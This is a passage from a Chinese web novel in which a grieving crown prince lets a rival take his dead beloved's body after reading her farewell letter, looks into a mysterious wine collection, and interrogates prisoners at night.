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可期望终究是期望。
后来他在皇后宫中呕血，皇上立马差人把他送回府中修养，看到面色煞白的穆轩岚时，王老怪急得说话都磕磕绊绊的。
“早些不让你去，你偏要去，你要是有个……”
穆轩岚咳了两声，笑着顺着他的话说下去。
“我要是有个三长两短，我会拉着千千，不让她去找你的。她只能跟我在一起，一刻也不能离开我。”
王老怪心中凄然，他怎么开始说胡话了？
经过一下午的诊治，晚霞燃尽之时，穆轩岚的脸色才稍稍好了些。
“好了？”
穆轩岚掀起眼帘，优哉游哉地看着他。
忙得心力交瘁的王老怪，还没忘开口呛他。
“你自己身体虚弱成什么样子，还用我说？这怎么可能好，只能慢慢调养了。”
他刚想端起神医的架子，谁知却被身后一道声音打断。
“一切都准备妥当了，走吧。”
是牧九明，他甚至还穿着道袍，手中拿着洁白胜雪的拂尘。
王老怪眉头紧皱，这是准备走哪去？可穆轩岚掀开被子就准备下床，这可把王老怪急坏了。
“你……”
“殿下，外面有人找你。”
元德从外面急匆匆地跑进来，看着屋中没有外人，他便直说了。
“是晏信，他说要来兴师问罪。”
这下王老怪也顾不得阻拦穆轩岚了，他焦虑地在屋中走来走去，最终还嘟囔着，一个犟种不够，竟然又来了一个犟种。
穆轩岚脸上倒是不意外，他现在才杀到京都，看来是真的成熟了许多。
若是以前尚未被千千调理过的晏信，恐怕在她死讯传去的第二天，就已经杀过来了。
“走吧，来都来了，去会会。”
穆轩岚按下牧九明还在掐指节测算的手，不管测算的结果好不好，他都得过去见晏信。
牧九明知他意思，便沉默着与他一同前往，王老怪和元德紧随其后。
晏信端坐在椅子上，日夜兼程让他眼睛干涩不已，他便闭目养神。
听到细微脚步声后，他满目愠怒地抬眸瞪着来人，冬芸被吓得一个哆嗦。
晏信赶忙眨了两下眼，他可不愿意做吓哭小孩儿的怪人，不过他心中犯起了嘀咕，穆轩岚家中竟然雇用这么小的仆人？
真是可恶！
冬芸不认识他，但也不害怕他，她径直走上前，坐在晏信身边。
“你就是晏信吗？”
“……你怎么认识我。”
“你答应我待会儿不跟殿下吵架，我就把千千姐留给你的书信给你。”
冬芸手拢在嘴边，跟晏信说悄悄话。
他听后眼睛瞪得很大，似乎在审视此事的真假。
赶赴京城路上的满腔怒火，也在这一刻全都冷寂下来。
自己就是要找穆轩岚算账的，要他心平气和，这怎么可能？可千千的确有可能给自己留书信……
算了，忍一时风平浪静。
“晏公子，好久不见。”
穆轩岚在众人簇拥中出现，晏信看着那脸色虚弱却贵气非凡的熟悉面孔，还是忍不住冷哼一声。
137. 晏信杀回来了
“咳咳……”
冬芸立马起身，她刻意地咳嗽两声。
晏信就算有脾气也发不出来，他只能跟着起身，就那么面无表情地看着来人。
“好一个储君殿下，竟然把我们所有人全都耍得团团转！”
晏信怎么可能不生气？
他语气凌厉，让在场除了牧九明之外的人，心都跟着揪了一下。
这也戳到了王老怪的痛处，自从来了这里，他从未跟穆轩岚或者元德讨论起此事。
他觉得身份之事，已没有再商讨的必要了。若是秦千千在世，她是最有资格讨伐此事的人，可斯人已逝，王老怪就没再过问此事。
晏信扫过在场的所有人，目光最终停留在元德身上，他愣了一下，而后冷笑一声。
“新招的伙计？千千知道她这是引狼入室吗……”
“晏信，冷静一点，凡事我们可以慢慢商议的。”
元德急忙上前劝慰他，平时能说会道的王老怪却也不吭声，不知道在想什么。
穆轩岚跟牧九明对视一眼，不能再耽误时间了，错过时辰，今晚就不能下葬了。
“晏信，我们之间的恩怨容后再议，今夜我们要去给千千入殓，你同我们一起去吧。”
穆轩岚很少如此好脾气地说话。
元德有些担忧地看着殿下，近来殿下日夜难寐，身体是越发虚弱了。
牧九明也在背后轻声叹气，穆轩岚这种天之骄子，什么时候被蹉跎成这样的软性子了？果然是情劫难逃。
如此想来，牧九明又在心中默念两边清心咒，还好他从小断情绝爱，才免受这般蹉跎苦。
“千千在哪里？我要带她走。”晏信毫不领情，亦或者说，他只为秦千千考虑。
什么顾全大局，什么斯人已逝，在他这里统统都是狗屁。
冬芸焦急地看着他，她想开口阻拦，但又不敢当着穆轩岚的面，说出她还留有千千亲笔信笺的事情……
她隐隐觉得，私藏信笺才是能让殿下失控的事情。
“我不会让你带走她的。”
穆轩岚脸色顿时阴沉起来，难不成晏信还真把自己当回事了，他凭什么带走千千？
“你骗了她那么久，现在她人已经没了，你还想囚她在身边吗？穆轩岚，她有说过要原谅你吗？”
……
最后一句话，让穆轩岚哑然失声。
她那句“我不想再见你”萦绕在他耳边，那是他们见最后一面时，千千跟他说的最后一句话。
只要自己不说，又有谁会知道，千千说了不原谅自己呢？
“……我已择好良辰吉日、风水宝地，晏信，你……”穆轩岚顿时有些慌乱。
他并未直接回应那件事，他突然担心，若自己真的强行把她留下来，那她会不会真的怨恨自己？
穆轩岚不想闹到死生不复相见，生前骗她太多，他现在不敢再骗她。
在场的人都不是傻子，听到他顾左右而言其它，心中都有了决断。
牧九明皱起眉头，眼下这个形势，看起来今天是无法下葬了。
“不必了，什么好山好风水，只要千千不喜欢，那就什么都不是。”
晏信没等他说完，便开口打断了他。
来时他就笃定，千千纵然喜欢穆轩岚，可了解来龙去脉后，她定能做出最合理的决断。
事实证明晏信没有猜错，再爱，也决定了她不会原谅穆轩岚。
沉默良久的王老怪，缓缓开口。
“殿下，晏信这话有道理，您不如……放她离开吧。”
元德很想为殿下说话，可他张张嘴又不知该说什么，唯独牧九明，放下掐过诀的手，站了出来。
“晏公子，谁又能妄言，她们二人是爱大于恨，还是恨多于爱呢？依我看，倒不如早日让千千入土为安，免受劳顿之苦。”
晏信瞪了他一眼，这就是诡辩，除了千千，还有谁能回答他的问题呢？
一阵冷风过堂，吹得人不自觉打了个寒颤。
穆轩岚早已寒彻骨，他并未察觉什么，他只木讷地看着堂中停放的棺椁，失了所有谋算计策，心中只有一个想法，不能让他带走千千。
“哪怕她不原谅我，我也不会让你带她走的。”
穆轩岚倏然抬眸，固执又不容拒绝地开口，看着他决绝的眼神，晏信正欲再度辩驳，却被冬芸拉住手腕。
“晏公子，不要再吵了，我现在就把信给你，你看了之后赶紧离开好吗？”
不止晏信，在场所有人都愣住了，牧九明更是懊悔地闭上眼睛。
他刚刚测算出会有仙人指路，暗示秦千千会出来指明方向，牧九明还好奇，她怎么出来。
没成想，竟是如此这般……
穆轩岚更是惊诧地看着冬芸，冬芸一脸难为情地解释，说这是桃花花和桑风雪再三交代的，自己只能照办。
王老怪赶忙挡在冬芸身前，这小家伙也是不容易，整日被牵连在各种纷争中。
只不过王老怪不得不佩服，她嘴可真够严的，连自己都没说。
晏信接过那封信，他的手几乎都在颤抖。
离开千千归家后，晏信没有一刻不在后悔。
他万分想念秦千千，可想起她对自己的谆谆教诲，晏信只能按捺住心底的冲动，他只求自己能尽快成长，能在下次见面时，听到千千夸奖自己。
在收到她寄送礼物的信笺时，晏信激动地不得了。在期盼她下次来信时，却给他等到了千千的死讯……
万念俱灰之际，却没成想，现在竟然还有一封留给自己的遗笔，晏信很难不激动。
打开信笺，晏信边踱步边看，穆轩岚焦急地看着他，似乎想从他脸上读懂信中的内容。
喜悦、忧愁、甚至有一丝丝悲悯……最后变成了穆轩岚读不懂的表情。
晏信抬头望着他，两人对视片刻后，他走过来把信递给穆轩岚。
“千千在信中已经说的很清楚了……你自己看吧。”
【晏公子，提笔写信之时，我已然能想到送信的契机了，天人两隔之时，我也不再怕你会埋怨我。
一同经历过的种种，都犹如昨日一般清晰，说起当时劝你走，我就有些良心难安。彼时收了你爹的钱，无论如何得劝你回去。
说好了，不许骂我。
后面的历程同样精彩，可惜你没有参与，不过江河壮阔，你总有历遍山河的一天。
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之所以提笔，是我有事央求你。
众人虽被诓骗，但他也只是秉公办事，再加上我的确钟意他，哪怕在写信时，我已然知晓他的骗局，可我还是担忧，担忧你们为了我去为难他。
爱恨交织本该是个很复杂的事情，可是在我看来却很简单。
我心悦他，所以央求你不要为难他；可我也恨那漫天谎言，所以我求你带走我的尸身。
丢进火堆里燃尽也好、扔进江河中也罢，残躯不足记挂，却唯独不愿变成天地一青冢。
最后，代我同他说声，前尘缥缈不可考，誓言如烟尽弥散，祝他一生光耀辉煌，千秋万代。】
那一页纸，穆轩岚看了两炷香，最后晏信实在忍无可忍，便开口问他看完了没。
“……”
穆轩岚把信还给他，自己却转身坐在旁边的半围椅上，他闭目沉思，仍是一言不发。
想到她连自己的名字都不愿叫，穆轩岚难掩心中悲痛，在旁人看来他仍是那般云淡风轻，可微微皱起的眉头和攥紧的双手，出卖了他。
晏信本来是咄咄逼人的，可看他这幅万念俱灰的样子，也不忍心说什么重话。
他缓缓坐下，尽量不带情绪地开口。
“她爱你，所以愿意放你自由。你不要告诉我，你没看出来她这是为了你，才让我带她走的。”
那句残躯不足记挂，其实不是跟自己说的，而是说给穆轩岚听的。
穆轩岚紧闭的睫毛轻颤，他不敢睁眼，怕眼泪从眼中滑落。
牧九明在心中叹息，这秦千千果然是个人物，她太懂穆轩岚了。其实只有他和穆轩岚两个人知道，在那风水宝地，其实掘了两个坟位。
一个用来埋秦千千，另一个……穆轩岚要给自己立个碑。
“你简直是疯了！穆轩岚，活人怎么能立冢？”
牧九明还记得自己当时的愤怒，可穆轩岚却是淡淡的，说出的话却如同万千钢刀，把他一个外人也伤得遍体鳞伤。
“我倒是想直接躺进去，可是我还不配。”
牧九明都认命了，没想到秦千千还留了一手，若真让晏信把尸首带走，穆轩岚肯定也不会再立两座冢了。
牧九明担忧地看着穆轩岚，长痛不如短痛，这是目前最明智的计划了。
“你走吧。”
穆轩岚轻声开口，他眼眶泛湿，在跃动的烛光下，泪水也闪着微弱的光。
晏信拜别众人，喊来他的仆人带着秦千千离开，期间穆轩岚从未睁眼，他只端坐在那里。
“元德，差人护送晏公子回去，不能用暗卫。”
听着人走远，穆轩岚这才开口，可他的要求却让元德觉得奇怪。
牧九明开口替他解释：“她所到之处，必然引起纷争，越少人知道约好。”
牧九明带着元德离开，王老怪和冬芸留在正厅。
王老怪打发冬芸离开，看她担心殿下生气，还安慰她没事的。打发走她后，他这才坐在穆轩岚身边。
“千千苦心孤诣，你可不要辜负她的一片好心。若不是她百般央求，我是不可能留在这里的。”
事到如今，王老怪只好跟他坦白，自己与秦千千的约定。
138. 清风酒倒是一坛不剩
“殿下肯定知道，我之所以来这里，留在这里，完全是受人所托忠人之事。她只求我一点，那就是不让你忧思过度，伤及身体。”
“换句话说，她不要你死。”
王老怪看他一言不发，便轻声叹气，算了，就当自己在喃喃自语吧。
王老怪的看法跟晏信一样，他们都不愿意看着穆轩岚就此沉沦，甚至跟她一起去死。
他现在虽说没有寻死觅活，可这状态跟死了没什么差别。
“殿下，她最后与你共处的日子，定是想给你留下幸福的回忆，而不是禁锢住你的枷锁啊！”
能说的，王老怪都说了，他搜肠刮肚想想还有什么能说的。
“你要是不振作起来，又有谁能护住清风酒楼的其他人呢？那可是秦千千一辈子的心血。”
穆轩岚缓缓睁开眼睛，看了一眼王老怪，他满眼疲惫，眼底浮动化不开的疑惑。
“我累了，先去休息了。”
一步一步走回寝殿时，穆轩岚无奈地笑出声。
她还是没有原谅自己，过去几天，他从未在梦中见到过她。而他的梦境大同小异，都是在漫天迷雾中乱跑，却寻不得她的踪迹。
千千，你还是在怪我吗？
今夜的确不一样了。
辗转难眠，以至于他根本睡不着，元德听到动静赶来，问要不要给他熬些安神汤。
“元德，清风酒楼的清风酒，还有吗？”他满脸倦容地问。
往日别说这种满门屠戮，就是抄家，也会把那个地方的东西全都打砸了。
穆轩岚并不抱什么期望。
“在的殿下，当初我专门叮嘱人，库房的东西一个不准动。”
元德庆幸自己多留一个心眼，才不至于现在无计可施。虽说现在清风酒楼贴了封条，还有重兵把守，但元德要是想去，那是轻轻松松的事情。
“那你去清点一下里面的东西，顺便带两坛酒回来。”
清点完后，元德万万没想到，库房中看着满满当当的，其实里面一坛酒都没有了。
他不甘心，又带着人把酒楼里里外外翻了个遍，最终只在楼上找到几十两银子……几乎可以说是，空空如也。
元德立马赶回去汇报殿下，穆轩岚坐在床上假寐，听到这话，他幽幽掀起眼帘，眼神中有一丝释然。
“那晚，她是不是大宴宾客来着？”
“是……，听说是酒菜价钱减半，许是因为如此，那晚才那么热闹的。”
穆轩岚低头浅笑，“果然是神机妙算啊，知道我不付钱，就一坛不给我留吗？”
元德不知道该怎么安慰殿下，正在他跪地焦头烂额的时候，穆轩岚却想起来一件事儿。
千千在茅安镇采买茅安香米，酿了一种酒，叫明月醉。当时她跟自己说试酿了一批，还邀请他三个月后共饮……
他立马来了精神，赶紧招手让元德喊来王老怪，此事得派个跟丁家夫妻俩认识的人才行。
毕竟，自己可不是去抢酒的。
王老怪前脚刚答应，后脚却连连摆手。
“我不去，我不去啊！”
他得守在穆轩岚身边，一步都不能离开。
穆轩岚看出他的心事，便让他放一百二十个心。
“那些话我都听进去了，再说，我不可能让千千失望的，她的清风酒楼，还得我去庇佑呢。”
听他表了态，王老怪这才安心上路，临走前，他还跟出府相送的穆轩岚商议，能不能让他先尝一坛。
穆轩岚倒是没想到，像他这种自由散漫惯了的人，怎么突然这么守规矩起来了？
王老怪没有回答他的问题，不过那不妨碍他在心中揶揄穆轩岚。
以前是以前，他没规矩也不会冒犯到秦千千，就算冒犯，她也不会怎么自己。
现在冒犯的可是当今储君，他有十个脑袋也不够掉的，自然是今非昔比了。
冬芸本想跟着王老怪离开的，可是穆轩岚却没让她跟着跑，舟车劳顿，她一个小孩子，的确不适合跑来跑去。
虽说冬芸之前被穆轩岚威胁过，又在昨天当着他面给了晏信私藏的信笺，但她并没有很害怕穆轩岚。
或许，是知道穆轩岚不会杀她吧。
穆轩岚想她在府中闲着也是闲着，便在入宫面见母后的时候，带上了冬芸。
正巧，皇上也在皇后宫中。不止皇上在，甚至还有一行道人候在殿外。
穆轩岚知道，玄阳道定期会去后宫作法祈福，净化宫风，这肯定又是每个月的例行公事。
冬芸跟在他身后，路过那些道人的时候，她鼻子抽动一下。
她闻到了一阵熟悉的味道……
可眼下不是说这个的时候，她立马跟上穆轩岚，入宫朝拜后，皇上便屏退所有宫女太监，只留他们一家三口在宫中。
冬芸跟着元德出了殿门，若是平时，元德会守在这里，可冬芸是个耐不住性子的，她央求元德带她到处转转。
“皇宫这么大，你知道自己要去哪里吗？要不我带你……”
元德跟冬芸很熟了，他正准备提议去看鱼，谁知却被冬芸一口回绝。
“不，我知道去哪。”
“轩岚，过两天的大朝拜，你准备如何？”
穆振恒放下手中的酒杯，意味深长地看着穆轩岚。
大朝拜，就是皇上皇后想给他娶妻的会面仪式。
穆轩岚沉声回答：“该当如何就如何。”
穆振恒开怀大笑，他以为穆轩岚的意思是谨遵他们安排，一旁的庞郁安却愁眉不展，皇上近来越发糊涂了。
“陛下，皇儿无意娶妻，这事已没有转圜的余地了。我看，莫不如给舒娴指个别的皇子算了。”
纵使要联姻的对家是自己亲哥，庞郁安也不能为此折送了自己儿子的后半辈子。
经过上次深谈，她已知晓穆轩岚的心意，也明白情字难解，突然让他放下是万万不能的。
最关键的是，哪怕他们二人阴阳两隔，那爱意却不会弥散，反倒会更加坚韧难摧。
穆振恒脸色一下子难看起来，这不就是明晃晃地忤逆他？还没等他发作，穆轩岚便坦然开口。
“父皇，母后也只是说出儿臣的心事而已，您若是心中郁结难平，尽管指教儿臣就是。”
穆振恒扫了一眼她们母子
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二人，又想起道长嘱咐他不能动怒，这才急忙压下心中不忿。
“郁安，他最近脑子不清醒，你也跟着不清醒？那联姻背后可是整个庞家势力的支持，轩岚要是没了这一大支柱，他日后难镇朝纲啊！”
他稍显埋怨地开口，看着在埋怨皇后，其实还是在指摘穆轩岚。皇后不议政，可此事她也不得不说几句了。
朝野上下，谁不知道穆轩岚就是未来的皇帝，从未有人敢跟他分庭抗礼。
也就穆元基明里暗里给他些不痛快，可所有人都清楚，穆元基无法继承大统，他心性浅薄，不适合做皇帝。
“陛下，这话不能说臣妾也得说了，轩岚自小就按储君身份培养的，他若是只因未得一氏支持，便坐不稳皇位，那这皇位也就不该是他的了。”
庞郁安说完，穆轩岚都有些愣住了，他母后作为三从四德的典范，何曾说话如此凌厉过？
穆振恒也大吃一惊，这见解鞭辟入里，一下抓住自己话中的毛病——穆轩岚的能力超群，旁人的支持对他来说不算什么。
有则更好，没有也不差什么。
穆振恒本来是想拿这个施压的，谁知竟直接被皇后一语道破，他也不生气，只是笑着敬了皇后一杯酒。
“几日不见，皇后进步怎地如此惊人？”
他自顾自地喝了那杯酒，庞郁安的酒杯却放在桌子上，她端起酒杯，转身对着穆轩岚。
“皇儿，无论联姻与否，母后的母族自然是站在你身后的，这你无需多顾虑什么。”
穆轩岚端起酒杯，与母后隔空对饮，今天本该是他与父皇博弈的，母后替他拦下了所有。
跟着冬芸转了两炷香的时间，元德也没想明白，她到底要去哪，基本上都是在宫中乱转。
不过他也没说什么，反正宫中没哪个地方他不能去的，再加上他真把冬芸当成自己的妹妹，她想怎么样就随她去吧。
“这里面是什么啊？”
冬芸指着不远处的宫殿，元德眺望两眼才回答她。
“那是国师他们的宫殿，他们整日在里面炼丹什么的，对了，你还记得玄阳道吗？那里面就是玄阳道的道人。”
冬芸怎么不记得，当初千千她们讨论买她的道人时，就说了三道，玄阳道就是其中之一，也是最有嫌疑的一派。
元德看时间差不多了，就带着冬芸回去，好在她也没有说想去玄阳宫看看。
两个人又回到皇后宫中的时候，皇上早已离去，只留他们母子二人在屋中议事。
穆轩岚知道父皇对母后恩爱有加，可他还是不愿意让母后再次为自己出头，毕竟，天恩难测，他不该让母后为自己涉险。
“轩岚，若不是听了那位小姐的故事，母后今天也说不出这番话来，往常我一忍再忍，现在想来，真是委屈自己了。”她拍了拍他的手，笑着继续说。
“宫中虽不比外面天高海阔，但本宫终究得活出个自我啊，别的，无需你担心。”
回去的路上，穆轩岚很是感慨，冬芸扒着门帘看离宫很远后，她这才迫不及待跟穆轩岚汇报。
“殿下，我闻到当初买我的那人，身上的同款香味儿了。”
139. 究竟是什么暗示？
是了，当初那贩卖小孩的买主，至今还未捉拿归案。
穆轩岚最近倒是忙忘了此事，他自然也忘了冬芸的本事——闻过的味道绝不会忘记。
元德听到她这么说，这才恍然大悟，怪不得她在宫中边嗅边走，原来是在找寻特殊的味道。
穆轩岚若有所思地点头，当初，他就有怀疑的对象了。
“那地方是不是玄阳宫？”他问。
“是的，殿下。”
冬芸并不知道那宫殿的名字，元德便代她回复，本想接着追问，要不要严加布控的时候，穆轩岚却抬手制止。
而后，便不再言语。
元德和冬芸对视一眼，冬芸虽然疑惑但只能听命，元德心中已经知道为什么了。
此时不宜打草惊蛇，玄阳道再怎么说，也是皇上现在万分仰赖的道派，匆匆行事，只会落人口实。
穆轩岚比元德顾虑的更深一层，他总觉得皇上像变了个人。
前几日他回来汇报结果，本以为皇上当即就会大发雷霆，谁知他当时却并未反应激烈。
虽说后面也的确背着自己，查抄了清风酒楼，可按照皇上原本的脾性，这事儿应该是当时，他就会找人去做的。
穆轩岚当时就卯着一口气跟父皇争辩，谁知道父皇当时并未表示什么，在他终于撑不住倒下后，才下令抄了清风酒楼……
或许，在这些年的等待中，皇上早就不再只倚靠姜千秋那一条路，而玄阳道就是他为自己留的后路。
穆轩岚甚至隐隐觉得，若不是玄阳道，皇上似乎会更加歇斯底里。现如今的玄阳道，在糊弄皇上这一方面，还是有他们的用途的。
到府中听了他的心中想法，元德也认为有道理，一旁的冬芸却有些不解。
“殿下，那接下来就不查这件事情了吗？”
冬芸所求所愿不多，她就希望能将坏人绳之以法。
“当然要查，只不过是暗中查，且容他们多苟活一段时间吧。总有一天，我会将这些人碎尸万段的。”
穆轩岚郑重地承诺她，冬芸这才放下心来，她相信，穆轩岚承诺过的事情，便一定会办到的。
暗卫飞奔进书房，他扑跪在地上，手上拿的是急递。
“殿下，王老怪那边传来的消息，他说事关重大，让您亲启。”
元德立即把书信呈给穆轩岚，在场所有人都好奇，究竟是什么事情。
王老怪一路有暗卫随行，可到丁家堂前时，他屏退了所有人，独自一人上前敲门。
来人是管家定二牛，他还记得当初为老爷治病的神医，便赶忙把王老怪迎进府。
丁芮熠和宣聆凤一听消息立马回府，近期茅安香米的生意太好，两个人光奔走在各个商铺之间，都忙的几乎没空回府。
这一听故人归来，他们自然得放下手头事务，立即赶回来。
“神医，就你自己回来吗？千……秦老板她们都没回来？”宣聆凤讶异地问，丁芮熠也跟着点头。
她们二人还想当面感谢一下恩人，急匆匆赶回来，也是有这部分原因。
王老怪神色为难，刚见面，其实不适合谈悲伤的话题，可这事儿她们早晚都得知道。
“千千死了。”
“当初跟她成婚的晏信，不是她心上人，白邵禾才是跟她心意相通之人。”
“而白邵禾也不是他的真实身份，他其实是当今储君穆轩岚。”
“我此次来，就是奉穆轩岚的命令，过来取千千在这里酿造的明月醉的。”
王老怪一口气解释完，对面坐着的夫妻俩目瞪口呆，楞在原地。他好心不说话，等她们两个反应一会儿。
半炷香过后。
丁芮熠面色踌躇地看着他，王老怪一摆手，让他有什么尽管问就好。
“你真的没有骗我们？”
“一件都没有吗？”宣聆凤补充道。
王老怪拍拍胸脯保证，如假包换，若有假话天打雷劈。没办法，他不得不搬出他曾经卖药的口号。
那边两个人彻底卸了力，仿佛瞬间被抽去精气神一样，瘫坐在椅子上。
宣聆凤纤纤玉手支住太阳穴，她现在头好痛。丁芮熠也好不到哪去，他一边关心夫人，一边捂住心口，他心绞痛得厉害。
王老怪一看她们这样，赶忙让她们歇息一下，别急火攻心再闹出病来。
“丁老爷，我此次前来是有要事在身，那明月醉是不是快好了？”
一是转移话题，二是京城真的有人在等这个救命呢……
丁芮熠连连点头，脸色终于好看一些了。
“是是是，当初秦老板采买茅安香米，又托人送来做酒的东西，甚至连陶罐都是她的人送来的，走，我带你去看。”
吩咐仆人带夫人回屋休息后，两个人这才往□□的一间库房走去。
丁芮熠急匆匆走在前面，王老怪没有发现他脸上有一丝异样。
直到进了库房后，他立即反手关上门，王老怪这才察觉到有什么不对。
“丁……”
“嘘！神医，我有个事情要跟你说。”丁芮熠神神秘秘的，看样子还急切的很。
王老怪心中一惊，自从跟着穆轩岚，他就没做过暗度陈仓的事情。
主要是暗卫无处不在，除了秦千千那种游戏江湖的鬼机灵，剩下的人在穆轩岚身边，就只有被监视的份儿……
“丁老爷，没必要瞒谁，你可以直接说。”王老怪不好直接明示他，有人在监视他们，便只能这般回应他。
丁芮熠还是张望了一下四周，压低声音跟王老怪耳语。
“你不是说秦老板死了吗？可前两天她来我这里取酒了！”
王老怪眼睛都要瞪出来了，他转头跟丁芮熠面面相觑，看他表情认真，不像是在骗人。
下一秒，王老怪心中只有一个想法：完了。
这事儿肯定要被暗卫汇报给穆轩岚的。
“此事就谁知道？你夫人……”
作为生意人，丁芮熠的脑子还是灵光、嗅觉还是敏锐的，他立即按下王老怪的手，打断了他这句话。
“夫人不知，只有我自己知道。”
这是真话。丁芮熠只不过担心，心急的储君殿下拿自己开刀，到那时候，切不可连累了夫人。
前两日，他临睡前照例来锁库房，结果遇到一个从屋檐飞下的人，那人带着纱
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帽，开口便是秦千千的音色。
“不可能！”穆轩岚眼神一凛，手指也攥得咯吱作响。“千千不会武功，她怎么从房顶飞下来？”
来禀报的人立马低头认错，具体情况他也不清楚，只能如实禀报给殿下。
元德不想看那暗卫再被吓到，便开口提醒他快些往下说。元德偷瞄一眼殿下，那肃杀的表情，把他都吓得后背发凉。
只能祈求接下来的事情，不会再触动殿下的逆鳞了……
丁芮熠连忙解释，说他当初跟秦老板设置的有个暗号，若是报上暗号，便能取走明月醉。
而“秦千千”也的确对上了暗号，只不过她没有带走所有，而是带走了其中一坛。
“一共三十三坛，她只取走了从左往右数的第四坛？”
王老怪转头过去看，那本该空了的位置上，却完整地摆着一坛酒。丁芮熠解释，那是他放上去填空的。
两个人合计半天，最终得出一个结论，那人不是秦千千。若说最有可能是谁，王老怪心中只有一个答案——姜千秋。
暗卫讲完所有事情，书房中寂静无声。
穆轩岚在沉思，元德心中也在盘算什么。
“王老怪现在在哪里？”
穆轩岚低头看着手上的信，那是王老怪给他写的，其中的内容，跟暗卫汇报的相差无几。
只不过，少了他猜出姜千秋的那一段。
“启禀殿下，他带着一队人马运送明月醉，在回程的路上了。酒坛易碎，所以回来的会慢些。”
穆轩岚点头，在暗卫离开前，他还叮嘱多派人手保护随行。元德关上门后，转身跪在地上，请命去查此事。
“……没什么好查的，再说，她姜千秋是想查就能查到的人吗？”穆轩岚语气平缓，听不出悲喜。
其实他是在想，像姜千秋这种动辄就暗示什么的人，她肯定早就知道自己会去取酒。
如此说来，那坛酒，到底有什么含义呢？
是四天、四个月、还是四年后，自己能得到千千的消息……
理智回笼时，穆轩岚被自己逗笑了。
他曾经最讨厌草木皆兵的人，在他看来，这种人就是想得太多。可他现在，总怕自己想的不够多，万一漏了什么线索呢？
“殿下，您……”元德心中惶恐，现在殿下在笑比在哭严重多了，他不有自主地感觉害怕。
“无事。晏信走了多久了？现如今到底把千千安葬在何处。”想到这里，穆轩岚还是失了神。
自己不该让晏信带她走的，葬在京都附近，他时不时还能去看看她……算了，该放她自由的。
这消息元德瞒两天了，他不敢汇报，只能等殿下主动问。可现如今的契机，也没比别的好到哪去。
算了，硬着头皮也得说。
“殿下，他带着老板去……去璃光海了，到那里选了个风水宝地，就……就……”
穆轩岚睨了他一眼，能让元德支支吾吾的事情，不多。
“说。”
“晏公子就以葬妻规格，给老板下葬了。”
铮铮破空声传来，穆轩岚知道，那是他维持至今的理智倏然崩裂的声音。
140. 储君早已黑化
凭什么？他究竟凭什么？
穆轩岚心中一个声音在叫嚣，寒气弥散四肢，让他愣在原地无法动弹。
元德看殿下表情不对，便立马绕过桌案，单膝跪在他身边。
“殿下……”
不消片刻，穆轩岚就回了神，他瞥了一眼焦虑的元德，浅笑出声。
“本王早已看开。比起千千自己都不在意的尸身，本王还是尽早帮她守住清风酒楼，这才更能让她放心吧。”
不愧是殿下！此等觉悟，让元德心生敬畏。
可他不知道，在他掩门离去后，穆轩岚在房中又呆坐了一个时辰，才稍稍平复自己的情绪。
不行，自己得抓紧时间办正事了。
于是，夜半三更，穆轩岚带着元德去大牢提审犯人。
为了不泄露任何消息，他特意叮嘱元德，不能带那些召集令。在他们刚到大牢片刻，穆元基也后脚跟来。
看着穆元基睡眼惺忪，却强打起精神的样子，若是往常的穆轩岚，他懒得说什么。
可现在是一腔怒火没处发的穆轩岚，他毫不留情地开口。
“五弟如此疲累，倒不如不来，反正你也做不了什么。”
说罢，他不等穆元基回答，直接带元德往大牢深处走。
穆元基在原地气得直跺脚，这人今天怎么火气这么旺？
本来父皇派他协理办案，他就很心生不满了。毕竟他和穆轩岚不对付，已经不是一天两天的事情了。
现在情况更是糟糕，平日里穆轩岚情绪是很稳定的，虽说不是春风和煦般待人，那最起码对自己还算客气。
可他现在……
穆元基幽怨地瞪了那人背影一眼，再不服气，也得跟上了。
“说，你到底是何人，跟清风酒楼是什么关系！”元德站在穆轩岚右手边，指着堂下一个肥头大耳的人问道。
“大人，草民可只会说实话，不管我说出来的多离谱，你们都要信啊！”那人双手撑地，仰脸看着那三人。
两个人站着，一个人坐着，那他自然要跟最尊贵的人汇报。这家伙对着穆轩岚叩一个头，这才开始聊起所谓的真相。
不到半炷香，他就讲完了。
穆元基双手环于胸前，眉头微蹙。他心中甚是疑惑，这么离谱的供词，穆轩岚怎么不打断他？
算了，还是自己来吧。
“大胆！给你机会交代真相，你居然信口雌黄。来人，给我打！”
那人立马边磕头边解释，“大人，我没有啊，我说的都是实话啊！”
穆轩岚抬眸看着他，凌厉的目光让那人心中一紧。
坏了，自己一顿打应该是少不了了。
“你是说，你是好人，却被清风酒楼的老板抓去囚禁，直到那晚，才被放出来？”
穆轩岚什么都没干，他就是平静地重复一遍刚刚的供词，地上的人已经抖如筛糠。
反正伸头一刀，缩头还是一刀，那人心一横决定硬气一把。
反正，老板早就死的透透的，已经死无对证了。
他们这些被秦千千关押的穷凶极恶之辈，早早就想好一百种办法折磨秦千千，而向官府告发她拘役好人，只是其中一条而已。
“是的大人，您不信，可以去问剩下的那些囚犯。我们都是冤枉……”
穆轩岚不愿再跟他多纠缠，他抬了下手，元德立马喊人把他拖下去。
“打，打到愿意说实话为止。”元德又吩咐另一个人，“来人，带下一个人贩。”
穆元基是个心里藏不住事儿的人，他忍无可忍还是开口问穆轩岚，刚刚为什么听他说那么久废话。
按照穆轩岚平时雷厉风行的作风，在察觉到异样的时候，就应该把人拖下去了。
难不成，是忧思过度，让他反应迟钝了？
在等穆轩岚回答时，穆元基脑子也一直没有闲着，他在构想各种回答。
不过，往常他没有一次猜得准的。
穆轩岚转头看了他一眼，“本王在看，看你什么时候能发现异样，叫停审讯。”
……
这比明着骂自己，还要让自己难受。
穆元基不再跟他言语，可也不畏手畏脚，而是发觉不对就让人把犯人拉出去打。
不一会儿，大牢中哀嚎声此起彼伏，被审的人就没有一个不挨打的。
牢房的狱卒不够用，元德就叫暗卫来帮忙。
刚开始那几个的确冥顽不灵，穆元基下令的时候都没怎么纠结，可越往后面，他就越发觉得莫名其妙。
有些人说得挺有道理的，怎么也被拉出去打？
再到后面，穆元基彻底失声，元德接过他的职责，问完话就安排犯人去受刑。
穆元基心中还是害怕穆轩岚的，看这架势，他都担心下一秒，穆轩岚会不会把自己推出去也打一顿……
“殿下，没必要审了，您直接推我去受刑就是了。”
这个身着囚服、蓬头垢面的人，尚未跪地，就已经开口跟穆轩岚说话了。
穆轩岚好整以暇地抬眼看他，这个人倒是没在召集令中出现，不过他既然要求了，那就满足他。
”元德，先带出去打十棍，你亲自去。”
见了几十个人，元德终于见到一个不是召集令上的人，他刚想开口询问，奈何这人作死，自己只能押他出去受罚。
审讯之地转眼只剩穆家两兄弟，穆元基在案边踱步，最终忍无可忍。
